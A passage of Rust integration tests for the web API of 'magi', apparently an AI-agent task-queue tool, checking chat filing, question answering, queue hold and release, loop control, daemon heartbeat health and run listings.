3556        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
3557
3558        assert_eq!(res.status, 200, "{}", res.body);
3559        let task = res.json()["task"]
3560            .as_str()
3561            .unwrap_or_else(|| panic!("a task id: {}", res.body))
3562            .to_owned();
3563
3564        // The point of the whole browser interview: a real task in the real
3565        // queue, indistinguishable from one filed at a terminal.
3566        let queued = fx.queue().get(&task).expect("the task is on disk");
3567        assert_eq!(
3568            queued.instruction, draft,
3569            "the draft reaches the graph verbatim"
3570        );
3571        assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
3572        assert_eq!(
3573            fx.get("/api/queue").await.json()[0]["id"],
3574            task,
3575            "the filed task is the listed one"
3576        );
3577
3578        // The interview is finished, so it stops asking to be finished.
3579        let after = fx.get(&format!("/api/chats/{id}")).await.json();
3580        assert_eq!(after["task"], task);
3581        assert_eq!(after["status"], "filed");
3582        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
3583    }
3584
3585    #[tokio::test]
3586    async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
3587        let fx = Fixture::start().await;
3588        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3589        let ui = Ui::new(
3590            fx.queue(),
3591            fx.questions(),
3592            fx.chats(),
3593            fx.runs(),
3594            fx.home.path().to_path_buf(),
3595            PathBuf::from("/repo/magi"),
3596        );
3597
3598        // The claim a running `POST /say` holds. Taken directly rather than by
3599        // starting a turn, because a turn spawns an agent CLI and no test here
3600        // is allowed to do that.
3601        let first = ui.begin_turn(&id).expect("the first turn claims the chat");
3602        let second = ui.begin_turn(&id).expect_err("the second must be refused");
3603        assert_eq!(
3604            second.status,
3605            StatusCode::CONFLICT,
3606            "a double tap on a slow link must not append two half-turns"
3607        );
3608
3609        // Dropped rather than released by hand, which is what makes a cancelled
3610        // request - a phone that walked out of range mid-turn - leave the chat
3611        // usable instead of wedged until the server restarts.
3612        drop(first);
3613        assert!(
3614            ui.begin_turn(&id).is_ok(),
3615            "the slot has to come back on its own"
3616        );
3617    }
3618
3619    #[tokio::test]
3620    async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
3621        let fx = Fixture::start().await;
3622        let id = interview(&fx, "20260903-014455-ab12", "open", None);
3623
3624        // Refused on the request, before the chat is even resolved, so an
3625        // accidental send costs neither a model call nor a turn in the record.
3626        for body in [r#"{"text":"   \n "}"#, r#"{}"#] {
3627            let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
3628            assert_eq!(res.status, 400, "{body}: {}", res.body);
3629        }
3630        let res = fx.post("/api/chats", Some(r#"{"idea":"  "}"#)).await;
3631        assert_eq!(res.status, 400, "{}", res.body);
3632
3633        assert_eq!(
3634            fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
3635                .as_array()
3636                .map(Vec::len),
3637            Some(2),
3638            "nothing above may have appended a turn"
3639        );
3640    }
3641
3642    #[tokio::test]
3643    async fn a_run_with_an_open_question_reads_as_waiting() {
3644        let fx = Fixture::start().await;
3645        let run = "20260902-000000-beef".to_owned();
3646        write_run(&fx.runs(), &run, RunStatus::Implementing);
3647
3648        let before = fx.get("/api/runs").await.json();
3649        assert_eq!(before[0]["waiting"], false, "{before}");
3650
3651        let store = fx.questions();
3652        let mut q = Question::new(
3653            run.clone(),
3654            "implement".to_owned(),
3655            "impl-A".to_owned(),
3656            "Which backend?".to_owned(),
3657            String::new(),
3658            vec!["SQLite".to_owned()],
3659        );
3660        store.put(&mut q).expect("put");
3661
3662        let during = fx.get("/api/runs").await.json();
3663        assert_eq!(during[0]["waiting"], true, "{during}");
3664
3665        // Answered: the run is moving again, and the flag has to follow without
3666        // anything having rewritten run.json.
3667        q.answer(Answer::Choice("SQLite".to_owned()))
3668            .expect("answer");
3669        store.put(&mut q).expect("put");
3670        let after = fx.get("/api/runs").await.json();
3671        assert_eq!(after[0]["waiting"], false, "{after}");
3672    }
3673
3674    #[tokio::test]
3675    async fn an_open_question_is_listed_and_counted_by_health() {
3676        let fx = Fixture::start().await;
3677        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3678
3679        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3680        let listed = fx.get("/api/questions").await.json();
3681        assert_eq!(listed.as_array().expect("array").len(), 1);
3682        assert_eq!(listed[0]["id"], id);
3683        assert_eq!(listed[0]["status"], "open");
3684        assert_eq!(listed[0]["choices"][1], "Redis");
3685        // The count is what makes the phone's indicator honest: it is the one
3686        // number meaning nothing will move until a human acts.
3687        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3688    }
3689
3690    #[tokio::test]
3691    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
3692        let fx = Fixture::start().await;
3693        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3694        let path = format!("/api/questions/{id}/answer");
3695
3696        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
3697        assert_eq!(res.status, 200, "{}", res.body);
3698        let body = res.json();
3699        assert_eq!(body["status"], "answered");
3700        assert_eq!(body["answer"]["choice"], "Redis");
3701
3702        // Answered from the terminal in between the list and the tap: the UI
3703        // must be able to tell this from a bad request, so it can show the
3704        // recorded answer instead of an error.
3705        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
3706        assert_eq!(again.status, 409, "{}", again.body);
3707        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
3708    }
3709
3710    #[tokio::test]
3711    async fn an_answer_the_question_does_not_offer_is_refused() {
3712        let fx = Fixture::start().await;
3713        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
3714        let path = format!("/api/questions/{id}/answer");
3715
3716        for body in [
3717            r#"{"choice":"Postgres"}"#,
3718            r#"{"text":"whatever you think"}"#,
3719            r#"{"choice":"Redis","text":"both"}"#,
3720            r#"{}"#,
3721        ] {
3722            let res = fx.post(&path, Some(body)).await;
3723            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
3724            assert!(res.json()["error"].is_string(), "{}", res.body);
3725        }
3726        // Nothing above may have answered it.
3727        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
3728    }
3729
3730    #[tokio::test]
3731    async fn a_free_text_question_takes_text_and_not_a_choice() {
3732        let fx = Fixture::start().await;
3733        let id = ask(&fx, "What should the flag be called?", &[]);
3734        let path = format!("/api/questions/{id}/answer");
3735
3736        assert_eq!(
3737            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
3738            400
3739        );
3740        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
3741        assert_eq!(res.status, 200, "{}", res.body);
3742        assert_eq!(res.json()["answer"]["text"], "--json");
3743    }
3744
3745    #[tokio::test]
3746    async fn an_unknown_question_is_a_json_404() {
3747        let fx = Fixture::start().await;
3748        let res = fx
3749            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
3750            .await;
3751        assert_eq!(res.status, 404, "{}", res.body);
3752        assert!(res.json()["error"].is_string());
3753    }
3754
3755    #[tokio::test]
3756    async fn a_blank_instruction_is_rejected_and_files_nothing() {
3757        let f = Fixture::start().await;
3758
3759        let res = f
3760            .post("/api/queue", Some(r#"{"instruction":"   \n  "}"#))
3761            .await;
3762
3763        assert_eq!(res.status, 400);
3764        assert!(
3765            res.json()["error"].as_str().is_some_and(|e| !e.is_empty()),
3766            "a rejection has to say why: {}",
3767            res.body
3768        );
3769        assert!(
3770            f.queue().list().is_empty(),
3771            "a rejected task must not reach the disk"
3772        );
3773    }
3774
3775    #[tokio::test]
3776    async fn a_malformed_body_is_a_bad_request_not_an_unprocessable_entity() {
3777        let f = Fixture::start().await;
3778
3779        let res = f.post("/api/queue", Some("{not json")).await;
3780
3781        // The UI branches on 400; axum's default for a bad body is 422, which
3782        // it would report as an unknown failure.
3783        assert_eq!(res.status, 400);
3784    }
3785
3786    #[tokio::test]
3787    async fn a_posted_task_is_queued_with_a_title_taken_from_its_instruction() {
3788        let f = Fixture::start().await;
3789
3790        let created = f
3791            .post(
3792                "/api/queue",
3793                Some(
3794                    r##"{"instruction":"# Rework the config loader\n\nIt re-reads the file on every lookup"}"##,
3795                ),
3796            )
3797            .await;
3798        assert_eq!(created.status, 201);
3799
3800        let listed = f.get("/api/queue").await;
3801        let tasks = listed.json();
3802        let task = &tasks[0];
3803
3804        assert_eq!(tasks.as_array().map(Vec::len), Some(1));
3805        // The title the server derives is the summary the author already
3806        // wrote, without its marker.
3807        assert_eq!(task["title"], "Rework the config loader");
3808        assert_eq!(task["source_label"], "human");
3809        assert_eq!(task["status_str"], "queued");
3810        assert_eq!(task["repo"], "/repo/magi", "the server's default repo");
3811        assert_eq!(
3812            task["id"],
3813            created.json()["id"],
3814            "the posted task is the listed one"
3815        );
3816        assert!(
3817            task["instruction"]
3818                .as_str()
3819                .is_some_and(|i| i.starts_with("# Rework the config loader\n\nIt re-reads")),
3820            "the instruction reaches the graph verbatim, markers and all: {}",
3821            task["instruction"]
3822        );
3823    }
3824
3825    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
3826    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
3827        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
3828            .expect("checkout dir");
3829    }
3830
3831    #[tokio::test]
3832    async fn repos_list_returns_name_and_path_for_every_configured_root() {
3833        let tmp = TempDir::new().expect("tempdir");
3834        let repo = tmp.path().join("repo");
3835        std::fs::create_dir_all(&repo).expect("repo dir");
3836        let root = tmp.path().join("root");
3837        make_checkout(&root, "github.com", "yukimemi", "magi");
3838        std::fs::write(
3839            repo.join("magi.toml"),
3840            format!(
3841                "[repos]\nroots = [{:?}]\n",
3842                root.to_string_lossy().into_owned()
3843            ),
3844        )
3845        .expect("write magi.toml");
3846
3847        let f = Fixture::with_repo(repo).await;
3848        let res = f.get("/api/repos").await;
3849        assert_eq!(res.status, 200, "{}", res.body);
3850        let list = res.json();
3851        let repos = list.as_array().expect("an array");
3852        assert_eq!(repos.len(), 1);
3853        assert_eq!(repos[0]["name"], "yukimemi/magi");
3854        assert!(
3855            repos[0]["path"]
3856                .as_str()
3857                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
3858            "{list}"
3859        );
3860    }
3861
3862    #[tokio::test]
3863    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
3864        let tmp = TempDir::new().expect("tempdir");
3865        let repo = tmp.path().join("repo");
3866        std::fs::create_dir_all(&repo).expect("repo dir");
3867        let root = tmp.path().join("root");
3868        make_checkout(&root, "github.com", "yukimemi", "magi");
3869        std::fs::write(
3870            repo.join("magi.toml"),
3871            format!(
3872                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
3873                root.to_string_lossy().into_owned()
3874            ),
3875        )
3876        .expect("write magi.toml");
3877
3878        let f = Fixture::with_repo(repo).await;
3879        let first = f.get("/api/repos").await;
3880        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
3881
3882        // A second checkout appears; within the TTL the cached answer must
3883        // not notice it.
3884        make_checkout(&root, "github.com", "yukimemi", "rvpm");
3885        let second = f.get("/api/repos").await;
3886        assert_eq!(
3887            second.json().as_array().map(Vec::len),
3888            Some(1),
3889            "a fresh cache must not rescan inside the TTL"
3890        );
3891
3892        let refreshed = f.get("/api/repos?refresh=1").await;
3893        assert_eq!(
3894            refreshed.json().as_array().map(Vec::len),
3895            Some(2),
3896            "an explicit refresh must rescan even inside the TTL"
3897        );
3898    }
3899
3900    #[tokio::test]
3901    async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
3902        let f = Fixture::start().await;
3903        let res = f
3904            .post(
3905                "/api/chats",
3906                Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
3907            )
3908            .await;
3909        assert!(res.status >= 400 && res.status < 500, "{}", res.status);
3910        assert!(
3911            res.json()["error"]
3912                .as_str()
3913                .is_some_and(|e| e.contains("nosuchchat")),
3914            "the error names the id that does not exist: {}",
3915            res.body
3916        );
3917        assert!(
3918            f.chats().list().is_empty(),
3919            "a chat must not be created against an unresolvable `from`"
3920        );
3921    }
3922
3923    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
3924    /// string, declared straight in a repository's own `magi.toml` rather
3925    /// than the operator's real roster. No real agent CLI is spawned - `sh`
3926    /// is the interpreter, the same as `chat::tests::mock_agent` uses - so
3927    /// this is safe to run over a real HTTP round trip, unlike every other
3928    /// `POST /api/chats` test in this module.
3929    ///
3930    /// `[roles] planner` is pinned here too, and not left to the built-in
3931    /// "first runnable agent" fallback: an operator's own machine layer can
3932    /// (and, on at least one real machine this was written and tested on,
3933    /// does) already pin a `planner` naming a roster seat this file does not
3934    /// have. `roles.planner` is a scalar, so restating it in this
3935    /// higher-precedence repo layer is not the array conflict
3936    /// `config::array_keys` refuses - it is exactly the override the layering
3937    /// exists for, and it is what keeps this test's outcome independent of
3938    /// whatever the machine layer happens to say.
3939    const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
3940
3941    #[tokio::test]
3942    async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
3943        let tmp = TempDir::new().expect("tempdir");
3944        let repo = tmp.path().join("repo");
3945        let other = tmp.path().join("other");
3946        std::fs::create_dir_all(&repo).expect("repo dir");
3947        std::fs::create_dir_all(&other).expect("other repo dir");
3948        // Both need their own roster: `chat_post` re-discovers config against
3949        // whichever repo the request names, and a repo with no `magi.toml` of
3950        // its own would fall back to the operator's real, installed agent CLIs.
3951        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3952        std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
3953
3954        let f = Fixture::with_repo(repo.clone()).await;
3955
3956        let default_res = f
3957            .post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
3958            .await;
3959        assert_eq!(default_res.status, 201, "{}", default_res.body);
3960        assert_eq!(
3961            default_res.json()["repo"],
3962            repo.canonicalize().unwrap().display().to_string(),
3963            "omitting `repo` must keep the server's own"
3964        );
3965
3966        let body = format!(
3967            r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
3968            other.to_string_lossy()
3969        );
3970        let explicit_res = f.post("/api/chats", Some(&body)).await;
3971        assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
3972        assert_eq!(
3973            explicit_res.json()["repo"],
3974            other.canonicalize().unwrap().display().to_string(),
3975            "an explicit `repo` must override the server's own"
3976        );
3977    }
3978
3979    #[tokio::test]
3980    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
3981        let f = Fixture::start().await;
3982        let queue = f.queue();
3983        let mut task = Task::new(
3984            "spent".to_owned(),
3985            "Try again".to_owned(),
3986            PathBuf::from("/repo/magi"),
3987            Source::Human,
3988        );
3989        task.start("20260902-140502-bbbb".to_owned());
3990        task.fail("agent gave up", 9);
3991        queue.put(&mut task).expect("file the task");
3992
3993        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
3994        assert_eq!(held.status, 200);
3995        assert_eq!(held.json()["status_str"], "held");
3996
3997        let released = f
3998            .post(&format!("/api/queue/{}/release", task.id), None)
3999            .await;
4000        assert_eq!(released.status, 200);
4001        assert_eq!(released.json()["status_str"], "queued");
4002        assert_eq!(
4003            released.json()["attempts"],
4004            0,
4005            "release is a real second chance, not an instant re-hold"
4006        );
4007        assert_eq!(
4008            queue.get(&task.id).expect("reload").status,
4009            TaskStatus::Queued,
4010            "the change is on disk, not only in the reply"
4011        );
4012        assert!(
4013            !f.home
4014                .path()
4015                .join("queue")
4016                .join(format!("{}.lock", task.id))
4017                .exists(),
4018            "the claim the mutation took is released again"
4019        );
4020    }
4021
4022    #[tokio::test]
4023    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4024        let f = Fixture::start().await;
4025        let queue = f.queue();
4026        let mut task = Task::new(
4027            "busy".to_owned(),
4028            "Running right now".to_owned(),
4029            PathBuf::from("/repo/magi"),
4030            Source::Human,
4031        );
4032        queue.put(&mut task).expect("file the task");
4033        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4034
4035        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4036
4037        assert_eq!(res.status, 409);
4038        assert_eq!(
4039            queue.get(&task.id).expect("reload").status,
4040            TaskStatus::Queued,
4041            "the refused hold changed nothing"
4042        );
4043    }
4044
4045    #[tokio::test]
4046    async fn unknown_ids_are_json_not_found_on_both_stores() {
4047        let f = Fixture::start().await;
4048
4049        let run = f.get("/api/runs/nosuchrun").await;
4050        let task = f.post("/api/queue/nosuchtask/hold", None).await;
4051
4052        assert_eq!(run.status, 404);
4053        assert_eq!(task.status, 404);
4054        assert!(
4055            run.json()["error"]
4056                .as_str()
4057                .is_some_and(|e| e.contains("run")),
4058            "the error names what was not found: {}",
4059            run.body
4060        );
4061        assert!(
4062            task.json()["error"]
4063                .as_str()
4064                .is_some_and(|e| e.contains("task")),
4065            "the error names what was not found: {}",
4066            task.body
4067        );
4068    }
4069
4070    #[tokio::test]
4071    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
4072        let f = Fixture::start().await;
4073
4074        let missing = f.get("/api/health").await.json();
4075        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
4076
4077        write_daemon(
4078            f.home.path(),
4079            Timestamp::now() - jiff::SignedDuration::from_secs(60),
4080        );
4081        let stale = f.get("/api/health").await.json();
4082        assert_eq!(
4083            stale["daemon"]["running"], false,
4084            "a minute without a heartbeat is a dead daemon, not a busy one"
4085        );
4086        assert!(
4087            stale["daemon"]["stale_for_secs"]
4088                .as_i64()
4089                .is_some_and(|s| s >= 55),
4090            "staleness is reported so the UI can say how long: {stale}"
4091        );
4092
4093        write_daemon(f.home.path(), Timestamp::now());
4094        let fresh = f.get("/api/health").await.json();
4095        assert_eq!(fresh["daemon"]["running"], true);
4096        assert_eq!(fresh["daemon"]["idle"], false);
4097        assert_eq!(fresh["daemon"]["pid"], 4242);
4098        assert_eq!(fresh["daemon"]["completed"], 7);
4099        assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
4100        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
4101    }
4102
4103    #[tokio::test]
4104    async fn the_loop_is_not_running_until_something_starts_it() {
4105        let f = Fixture::start().await;
4106
4107        let view = f.get("/api/loop").await.json();
4108        assert_eq!(view["running"], false);
4109        assert_eq!(
4110            view["owned"], false,
4111            "nobody owns a loop that does not exist: {view}"
4112        );
4113        assert_eq!(view["stopping"], false);
4114        assert_eq!(view["last_error"], Value::Null);
4115        assert_eq!(view["daemon"]["running"], false);
4116        assert_eq!(
4117            view["repo"], "/repo/magi",
4118            "the repository a start would use, named before it is started"
4119        );
4120    }
4121
4122    #[tokio::test]
4123    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
4124        let f = Fixture::start().await;
4125
4126        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4127        assert_eq!(res.status, 200, "{}", res.body);
4128        let view = res.json();
4129        assert_eq!(view["running"], true);
4130        assert_eq!(
4131            view["owned"], true,
4132            "the loop the UI started is the UI's own to stop: {view}"
4133        );
4134        assert_eq!(
4135            view["merge"],
4136            Value::Null,
4137            "no override was given, so each repository's own config decides"
4138        );
4139
4140        // The same object from the route a waking phone polls first. Two
4141        // surfaces disagreeing about whether anything is running is exactly
4142        // the confusion this UI exists to remove.
4143        let health = f.get("/api/health").await.json();
4144        assert_eq!(health["loop"]["running"], true, "{health}");
4145        assert_eq!(health["loop"]["owned"], true, "{health}");
4146
4147        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4148    }
4149
4150    #[tokio::test]
4151    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
4152        let f = Fixture::start().await;
4153        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4154        assert_eq!(first.status, 200, "{}", first.body);
4155
4156        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4157        assert_eq!(
4158            again.status, 409,
4159            "two loops on one queue race for the same claims: {}",
4160            again.body
4161        );
4162        assert!(
4163            again.json()["error"]
4164                .as_str()
4165                .is_some_and(|e| e.contains("already running the loop")),
4166            "the refusal has to say why: {}",
4167            again.body
4168        );
4169        assert_eq!(
4170            f.get("/api/loop").await.json()["running"],
4171            true,
4172            "and the loop that was already running is untouched by it"
4173        );
4174
4175        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4176    }
4177
4178    #[tokio::test]
4179    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
4180        let f = Fixture::start().await;
4181        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4182
4183        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4184        assert_eq!(
4185            res.status, 200,
4186            "the answer must not wait for the loop: a run in flight is tens of \
4187             minutes and the operator is holding a phone: {}",
4188            res.body
4189        );
4190
4191        let view = settled(&f, |v| v["running"] == false).await;
4192        assert_eq!(view["owned"], false);
4193        assert_eq!(
4194            view["stopping"], false,
4195            "a loop that has stopped is not still stopping: {view}"
4196        );
4197        assert_eq!(
4198            view["last_error"],
4199            Value::Null,
4200            "a loop that was asked to stop did not fail: {view}"
4201        );
4202
4203        // Idempotent, because the operator cannot tell a slow stop from a lost
4204        // one and will press it again.
4205        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4206        assert_eq!(twice.status, 200, "{}", twice.body);
4207    }
4208
4209    #[tokio::test]
4210    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
4211        let f = Fixture::start().await;
4212        // How the operator has been doing it: a `magi serve` of their own,
4213        // heartbeat fresh, in the same home this UI reads.
4214        write_daemon(f.home.path(), Timestamp::now());
4215
4216        let view = f.get("/api/loop").await.json();
4217        assert_eq!(view["running"], false, "not in this process: {view}");
4218        assert_eq!(view["owned"], false, "and not this process's to control");
4219        assert_eq!(
4220            view["daemon"]["running"], true,
4221            "but a loop is alive somewhere, which is what the UI must say"
4222        );
4223        assert_eq!(view["daemon"]["pid"], 4242);
4224
4225        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
4226            let res = f.post("/api/loop", Some(body)).await;
4227            assert_eq!(
4228                res.status, 409,
4229                "neither button may pretend to work on someone else's loop: {}",
4230                res.body
4231            );
4232            assert!(
4233                res.json()["error"]
4234                    .as_str()
4235                    .is_some_and(|e| e.contains("4242")),
4236                "the refusal has to name the process the operator must go to: {}",
4237                res.body
4238            );
4239        }
4240        assert_eq!(
4241            f.get("/api/loop").await.json()["running"],
4242            false,
4243            "and the refusal started nothing"
4244        );
4245    }
4246
4247    #[tokio::test]
4248    async fn a_stale_status_file_is_not_a_foreign_owner() {
4249        let f = Fixture::start().await;
4250        write_daemon(
4251            f.home.path(),
4252            Timestamp::now() - jiff::SignedDuration::from_secs(60),
4253        );
4254
4255        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4256        assert_eq!(
4257            res.status, 200,
4258            "a daemon killed a minute ago must not lock the loop out of its \
4259             own home for good: {}",
4260            res.body
4261        );
4262        assert_eq!(res.json()["running"], true);
4263
4264        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4265    }
4266
4267    #[tokio::test]
4268    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
4269        let f = Fixture::start().await;
4270        let before = f.get("/api/health").await.json()["loop_rev"]
4271            .as_u64()
4272            .expect("a loop revision");
4273
4274        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4275
4276        let after = f.get("/api/health").await.json()["loop_rev"]
4277            .as_u64()
4278            .expect("a loop revision");
4279        assert!(
4280            after > before,
4281            "the loop is in-process state, so this counter is the only thing \
4282             that tells a second device the first one started it: {before} -> \
4283             {after}"
4284        );
4285
4286        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
4287    }
4288
4289    #[tokio::test]
4290    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
4291        let f = Fixture::with_loop(launch_broken).await;
4292
4293        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4294        assert_eq!(
4295            res.status, 200,
4296            "starting it is not the failure: {}",
4297            res.body
4298        );
4299
4300        let view = settled(&f, |v| v["last_error"].is_string()).await;
4301        assert_eq!(
4302            view["running"], false,
4303            "a loop that died must not read as running, or the operator has \
4304             nothing to press: {view}"
4305        );
4306        assert_eq!(view["owned"], false);
4307        assert!(
4308            view["last_error"]
4309                .as_str()
4310                .is_some_and(|e| e.contains("read-only file system")),
4311            "the phone is where a loop that died at 3am is visible: {view}"
4312        );
4313
4314        // And it can be started again: the corpse was reaped, not left to
4315        // occupy the slot.
4316        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
4317        assert_eq!(again.status, 200, "{}", again.body);
4318        assert_eq!(
4319            again.json()["last_error"],
4320            Value::Null,
4321            "a fresh start does not keep showing why the last one died"
4322        );
4323    }
4324
4325    #[tokio::test]
4326    async fn a_newer_daemon_status_file_still_renders() {
4327        let f = Fixture::start().await;
4328        // A field this build has never heard of must not turn the status line
4329        // into a 500; that is the whole reason the reader is permissive.
4330        std::fs::write(
4331            f.home.path().join("daemon.json"),
4332            serde_json::json!({
4333                "schema": 2,
4334                "updated_at": Timestamp::now().to_string(),
4335                "idle": true,
4336                "surprise": { "nested": [1, 2, 3] },
4337            })
4338            .to_string(),
4339        )
4340        .expect("write daemon.json");
4341
4342        let health = f.get("/api/health").await;
4343
4344        assert_eq!(health.status, 200);
4345        assert_eq!(health.json()["daemon"]["running"], true);
4346    }
4347
4348    #[tokio::test]
4349    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4350        let f = Fixture::start().await;
4351        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4352        let broken = f.runs().join("20260902-140502-bad");
4353        std::fs::create_dir_all(&broken).expect("run dir");
4354        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4355
4356        let list = f.get("/api/runs").await;
4357        let detail = f.get("/api/runs/20260902-140502-bad").await;
4358
4359        assert_eq!(list.status, 200);
4360        let listed = list.json();
4361        let ids: Vec<&str> = listed
4362            .as_array()
4363            .expect("an array")
4364            .iter()
4365            .map(|r| r["id"].as_str().expect("an id"))
4366            .collect();
4367        assert_eq!(
4368            ids,
4369            vec!["20260902-140501-good"],
4370            "one unreadable run must not cost the operator the whole history"
4371        );
4372        assert_eq!(detail.status, 500);
4373        assert!(
4374            detail.json()["error"]
4375                .as_str()
4376                .is_some_and(|e| e.contains("run.json")),
4377            "the failure names the file to look at: {}",
4378            detail.body
4379        );
4380        // A skipped run has to be countable somewhere, or the UI shows an
4381        // empty history with nothing to explain it - which is exactly what a
4382        // directory full of older-schema runs looks like.
4383        let health = f.get("/api/health").await;
4384        assert_eq!(health.json()["runs_unreadable"], 1);
4385    }
4386
4387    #[tokio::test]
4388    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4389        let f = Fixture::start().await;
4390        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4391
4392        let summary = f.get("/api/runs").await.json();
4393        let row = &summary[0];
4394        assert_eq!(row["short"], "a1b2");
4395        assert_eq!(row["status"], "ready");
4396        assert_eq!(row["done"], true);
4397        assert_eq!(row["title"], "Add a web UI");
4398        assert_eq!(row["repo_name"], "magi");
4399        assert_eq!(row["judges"], 3);
4400        assert_eq!(row["winner"], Value::Null);
4401        assert_eq!(row["reviews"], 0);
4402
4403        // The short id resolves, and the detail route is the state itself, not
4404        // a projection of it: the UI reads fields the summary does not carry.
4405        let detail = f.get("/api/runs/a1b2").await;
4406        assert_eq!(detail.status, 200);
4407        assert_eq!(detail.json()["base_branch"], "main");
4408        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4409    }
4410
4411    #[tokio::test]
4412    async fn the_run_list_is_newest_first_and_honours_a_limit() {
4413        let f = Fixture::start().await;
4414        for id in [
4415            "20260902-140501-aaaa",
4416            "20260902-140502-bbbb",
4417            "20260902-140503-cccc",
4418        ] {
4419            write_run(&f.runs(), id, RunStatus::Merged);
4420        }
4421
4422        let all = f.get("/api/runs").await.json();
4423        let capped = f.get("/api/runs?limit=2").await.json();
4424
4425        assert_eq!(all[0]["id"], "20260902-140503-cccc");
4426        assert_eq!(all.as_array().map(Vec::len), Some(3));
4427        assert_eq!(capped.as_array().map(Vec::len), Some(2));
4428        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4429    }
4430
4431    #[tokio::test]
4432    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4433        let f = Fixture::start().await;
4434        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4435
4436        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4437
4438        assert_eq!(res.status, 200);
4439        assert!(
4440            res.headers
4441                .contains("content-type: text/plain; charset=utf-8"),
4442            "a browser must render it, not download it: {}",
4443            res.headers
4444        );
4445        // The assertion is on content, not on the absence of escapes: colour
4446        // is a process-global that `serve` turns off at startup, and another
4447        // test in this binary may own it while this one runs.
4448        assert!(
4449            res.body.contains("20260902-140501-a1b2"),
4450            "the report is about the run that was asked for: {}",
4451            res.body
4452        );
4453    }
4454
4455    #[tokio::test]
4456    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4457        let f = Fixture::start().await;
4458
4459        let html = f.get("/").await;
4460        let css = f.get("/app.css").await;
4461        let js = f.get("/app.js").await;
4462
4463        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4464        assert!(
4465            html.headers
4466                .contains("content-type: text/html; charset=utf-8")
